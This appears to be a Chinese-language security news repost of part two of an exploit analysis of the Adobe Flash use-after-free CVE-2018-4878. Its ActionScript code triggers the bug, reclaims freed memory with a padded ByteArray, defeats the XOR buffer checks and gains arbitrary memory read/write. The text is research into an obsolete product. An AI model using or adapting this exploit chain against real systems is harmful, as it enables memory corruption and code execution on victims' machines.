當前位置:
首頁 > 新聞 > Adobe Flash 漏洞利用分析:從CVE-2015-5119到CVE-2018-4878(下)

Adobe Flash 漏洞利用分析:從CVE-2015-5119到CVE-2018-4878(下)

分析 CVE-2018-4878

首先,讓我們用一個簡單的例子來展示這個漏洞是如何觸發的:

public function triggeruaf() : void {

var sdk :PSDK = null;

var dispatch:PSDKEventDispatcher = null;

sdk = PSDK.pSDK;

dispatch = sdk.createDispatcher();

this.mediaplayer = sdk.createMediaPlayer(_loc2);

this.listener = new MyListener();

this.mediaplayer.drmManager.initialize(this.listener);

this.listener = null;

}

public function runexploit() : void {

this.triggeruaf();

try {

new LocalConnection().connect(「foo」);

new LocalConnection().connect(「foo」);

} catch (e:Error) {

this.danglingpointer = new MyListener();

}

}

public class MyListener implements DRMOperationCompleteListener

{

public function MyListener()

{

super();

}

public function onDRMOperationComplete():void {

trace(「IN COMPLETE」);

}

public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void {

trace(「IN ERROR」);

}

}

這裡存在的缺陷存在於DRMManager的「initialize」調用中,期望實現DRMOperationCompleteListener介面的對象。在可以使用之前,通過將「 this.listener 」設置為NULL來釋放對象,強制分配的內存由垃圾回收器釋放。

接下來,我們分配一個DRMOperationCompleteListener對象,並在「 danglingpointer 」變數中保存對此對象的引用。這個對象是free"d,但是「 danglingpointer 」變數仍然引用這個內存,這意味著我們有了一個「use-after-free」條件。

如果我們繼續回顧所披露的漏洞,我們會看到增加了一個計時器:

這個定時器調用一個檢查UAF條件的新函數:

public function uafcheck(param1:TimerEvent) : void {

if (this.danglingpointer.a1 != 0x31337) {

// If here, we know that we have a danglingpointer, so we stop the timer

this.timer.stop();

}

}

這個定時器用於定期檢查我們的「 danglingpointer 」對象是否已釋放,並且現在指向已釋放的內存。最終情況就是這樣的,它允許我們用另一個對象填充這個空閑的空間。

到此為止,事情變得有點模糊。在我們發現的截圖和示例中,似乎沒有一個共享的用於生成填充此內存的對象(特別是「 Mem_Arr 」類)的類的詳細信息。但是,我們確實找到了利用此漏洞的方法,重新創建了我們所認為的這個類正在進行的操作,但是如果你擁有該惡意軟體的副本,我們非常有興趣了解我們在匹配惡意軟體的漏洞方面有多接近。

我們從網上的討論中知道,用於獲得對Flash的控制權的原語是一個ByteArray,這意味著我們要用一個ByteArray對象填充free"d內存:

但問題是我們知道由於大小的差異,ByteArray可能不會被分配到free"d DRMOperationCompleteListener對象的位置。然而,我們可以創建一個新的類來擴展ByteArray類並添加其他屬性來擴展對象的大小。為此,我們創建一個新類「 Mem_Arr 」:

public class Mem_Arr extends ByteArray

{

var a1:uint = 0x31338;

var a2:uint = 0x31338;

var a3:uint = 0x31338;

var a4:uint = 0x31338;

var a5:uint = 0x31338;

var a6:uint = 0x31338;

var a7:uint = 0x31338;

var a8:uint = 0x31338;

var a9:uint = 0x31338;

var a10:uint = 0x31338;

var a11:uint = 0x31338;

var a12:Object = 0x31338;

var a13:Object = 0x31338;

var a14:Object = 0x31338;

var a15:Object = 0x31338;

var a16:Object = 0x31338;

public function Mem_Arr()

{

}

}

此外,我們還將修改我們的「 MyListener 」對象以包含許多其他屬性:

public class MyListener implements DRMOperationCompleteListener

{

var a1:uint = 0x31337;

var a2:uint = 0x31337;

var a3:uint = 0x31337;

var a4:uint = 0x31337;

var a5:uint = 0x31337;

var a6:uint = 0x31337;

var a7:uint = 0x31337;

var a8:uint = 0x31337;

var a9:uint = 0x31337;

var a10:uint = 0x31337;

var a11:uint = 0x31337;

var a12:uint = 0x31337;

var a13:uint = 0x31337;

var a14:uint = 0x31337;

var a15:uint = 0x31337;

var a16:uint = 0x31337;

var a17:uint = 0x31337;

var a18:uint = 0x31337;

var a19:uint = 0x31337;

var a20:uint = 0x31337;

var a21:uint = 0x31337;

var a22:uint = 0x31337;

var a23:uint = 0x31337;

var a24:uint = 0x31337;

var a25:uint = 0x31337;

var a26:uint = 0x31337;

var a27:uint = 0x31337;

var a28:uint = 0x31337;

var a29:uint = 0x31337;

var a30:uint = 0x31337;

var a31:uint = 0x31337;

var a32:uint = 0x31337;

var a33:uint = 0x31337;

var a34:uint = 0x31337;

public function MyListener()

{

super();

}

public function onDRMOperationComplete():void {

trace(「IN COMPLETE」);

}

public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void {

trace(「IN ERROR」);

}

}

這樣做的原因是為了確保兩個「 myListener的 」和「 Mem_Arr 」的對象是大小相似,讓我們使用一個「 Mem_Arr 」來替換free"d「 myListener」。

我們還將更新我們的「 uafcheck 」函數並從「 Mem_Arr 」對象中轉儲內存,以確保我們處於正確的軌道上:

public function uafcheck(param1:TimerEvent) : void {

if (this.danglingpointer.a1 != 0x31337) {

// If here, we know that we have a danglingpointer, so we stop the timer

this.timer.stop();

// Allocate our new extended ByteArray

var buffer = new Mem_Arr();

buffer.length = 0x512;

buffer.position = 0x31;

// Here, we have a MyListener object (this.danglingpointer)

// which is actually pointing to a Mem_Arr (buffer) object

// Memory dump of the Mem_Arr object

trace(「===============」);

trace(this._vuln2.a1.toString(16));

trace(this._vuln2.a2.toString(16));

trace(this._vuln2.a3.toString(16));

trace(this._vuln2.a4.toString(16));

trace(this._vuln2.a5.toString(16));

trace(this._vuln2.a6.toString(16));

trace(this._vuln2.a7.toString(16));

trace(this._vuln2.a8.toString(16));

trace(this._vuln2.a9.toString(16));

}

}

現在,如果我們執行這個SWF,我們會發現我們的跟蹤日誌包含以下內容:

雖然這可能看起來像是DWORD的隨機序列,但實際上我們看看我們有什麼。首先,我們看到「 0x31 」 的值,它實際上是我們更新ByteArray / Mem_Arr對象的「position 」屬性值。

回顧ByteArray類的源代碼,我們知道ByteArray實際上由以下屬性組成:

private:

Toplevel* const m_toplevel;

MMgc::GC* const m_gc;

WeakSubscriberList m_subscribers;

MMgc::GCObject* m_copyOnWriteOwner;

uint32_t m_position;

FixedHeapRefm_buffer;

bool m_isShareable;

其中一個屬性是「 m_position 」,它包含「 position 」屬性。這意味著我們正處於正確的軌道上,現在有能力操縱ByteArray的底層內存。

實際上我們感興趣的是「 m_buffer 」屬性,它是一個指向包含以下內容的Buffer對象的指針:

public:

uint8_t* array;

uint32_t capacity;

uint32_t length;

// Thanks to 「Guanxing Wen」 for the following (https://www.blackhat.com/docs/eu-16/materials/eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own.pdf)

uint32_t copyOnWrite;

uint32_t check_array;

uint32_t check_capacity;

uint32_t check_length;

uint32_t check_copyOnWrite;

在這裡,我們看到Google Project Zero中引入的緩解措施之一,這些緩解措施用作XOR檢查值的一些屬性。我們需要通過取消引用m_buffer地址來訪問此結構。

為此,我們添加了一個新類:

public class Modify

{

var a1:uint = 0x31339;

var a2:uint = 0x31339;

var a3:uint = 0x31339;

var a4:uint = 0x31339;

var a5:uint = 0x31339;

var a6:uint = 0x31339;

var a7:uint = 0x31339;

var a8:uint = 0x31339;

}

並從我們的Mem_Arr類添加了對這個類的引用:

public class Mem_Arr extends ByteArray

{

var a1:uint = 0x31338;

var a2:uint = 0x31338;

var a3:uint = 0x31338;

var a4:uint = 0x31338;

var a5:uint = 0x31338;

var a6:uint = 0x31338;

var a7:uint = 0x31338;

var a8:uint = 0x31338;

var a9:uint = 0x31338;

var a10:uint = 0x31338;

var o1:Modify = new Modify();

var a12:Object = 0x31338;

var a13:Object = 0x31338;

var a14:Object = 0x31338;

var a15:Object = 0x31338;

var a16:Object = 0x31338;

public function Mem_Arr()

{

}

public function DumpPointer() : void {

trace(「–> 」 + this.o1.a1.toString(16));

trace(「–> 」 + this.o1.a2.toString(16));

trace(「–> 」 + this.o1.a3.toString(16));

trace(「–> 」 + this.o1.a4.toString(16));

trace(「–> 」 + this.o1.a5.toString(16));

trace(「–> 」 + this.o1.a6.toString(16));

trace(「–> 」 + this.o1.a7.toString(16));

trace(「–> 」 + this.o1.a8.toString(16));

trace(「–> 」 + this.o1.a9.toString(16));

trace(「–> 」 + this.o1.a10.toString(16));

trace(「–> 」 + this.o1.a11.toString(16));

}

}

這裡的想法是通過懸掛指針指向「 m_buffer 」地址來設置我們的「 Mem_Arr 」對象的「 o1 」屬性,然後通過「Modify」類取消引用對象。我們更新了「 o1 」屬性:

// Set o1 to the m_buffer

this.danglingpointer.a31 = this.danglingpointer.a15 – 0x10;

this.buffer.DumpPointer();

執行此操作,我們看到以下返回的記錄值:

–> 64414f28

–> 1

–> 8c34ab0

–> 512

–> 512

–> 0

–> b9baa73b

–> b179e899

–> b179e899

–> b179ed8b

–> 0

–> 0

在這裡,我們清楚地看到ByteArray的長度為0x512,再次表明我們處於正確的位置。讓我們將這些值覆蓋到ByteArray對象:

–> 64414f28

–> 1

–> 8c34ab0 uint8_t* array;

–> 512 uint32_t capacity;

–> 512 uint32_t length;

–> 0 uint32_t copyOnWrite;

–> b9baa73b uint32_t check_array;

–> b179e899 uint32_t check_capacity;

–> b179e899 uint32_t check_length;

–> b179ed8b uint32_t check_copyOnWrite;

–> 0

–> 0

所以在這裡我們有能力修改「Buffer」對象的底層內存。

有趣的是,我們在這裡還看到,我們可以通過「 check_copyOnWrite 」值為0 ^ KEY來恢復XOR的Key,所以在這種情況下我們知道我們的XOR的Key實際上是b179ed8b。

讓我們在「 Mem_Arr 」中添加一個新方法來更新「 m_buffer 」,使其指向0x00000000的基址,並保持0xFFFFFFFF的限制:

public function UpdateBuffer() : void {

var xorkey = this.o1.a10;

// Set our address to 0, and length to max

this.o1.a3 = 0;

this.o1.a4 = 0xFFFFFFFF;

this.o1.a5 = 0xFFFFFFFF;

// Update the XOR check

this.o1.a7 = this.o1.a3 ^ xorkey;

this.o1.a8 = this.o1.a4 ^ xorkey;

this.o1.a9 = this.o1.a5 ^ xorkey;

}

使用這個原語,我們現在可以完全控制Flash環境,並可以覆蓋任意的內存位置:

漏洞的源代碼可以在MDSec ActiveBreach github上找到。

這不是全部的利用方式

在重新創建上述漏洞的同時,我們實際上遇到了另一種有趣的方式來操作內存內容,而無需使用ByteArray或Vector並且必須需要使用XOR保護。

通過利用對象引用,就像上面用來讀取「 m_buffer 」屬性一樣,我們實際上有一個相當穩定的R/W原語。

並調用添加到Mem_Arr, RW()的新函數:

public function RW() : void {

this.o1.a1 = 0x31337;

}

this.buffer.RW();

並重新運行我們的示例:

在這裡我們可以看到,使用這個對象解除引用,我們可以用我們選擇的值覆蓋任何內存位置。

同樣,我們無法訪問完整的惡意軟體樣本,但我們很想知道這種技術是否被原始漏洞利用。

在我們的下一篇文章中,我們將研究如何使用上述原語來啟動自定義的shellcode。那麼從這一切中我們能獲得什麼呢?當然首先是Flash的漏洞利用仍然可以繞過Adobe強化的功能,特別是在UAF的情況下,我們可以完全控制屬性值並且可以泄漏內存。

其次,當你可以損壞的對象時,是有多種方法來操縱Flash的任意內存的,雖然強化防禦措施已經引入Vector.和ByteArray,但是對象解除引用一樣可以使用。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

黑客攻擊焦點之韓國(上)
PowerStager工具分析

TAG:嘶吼RoarTalk |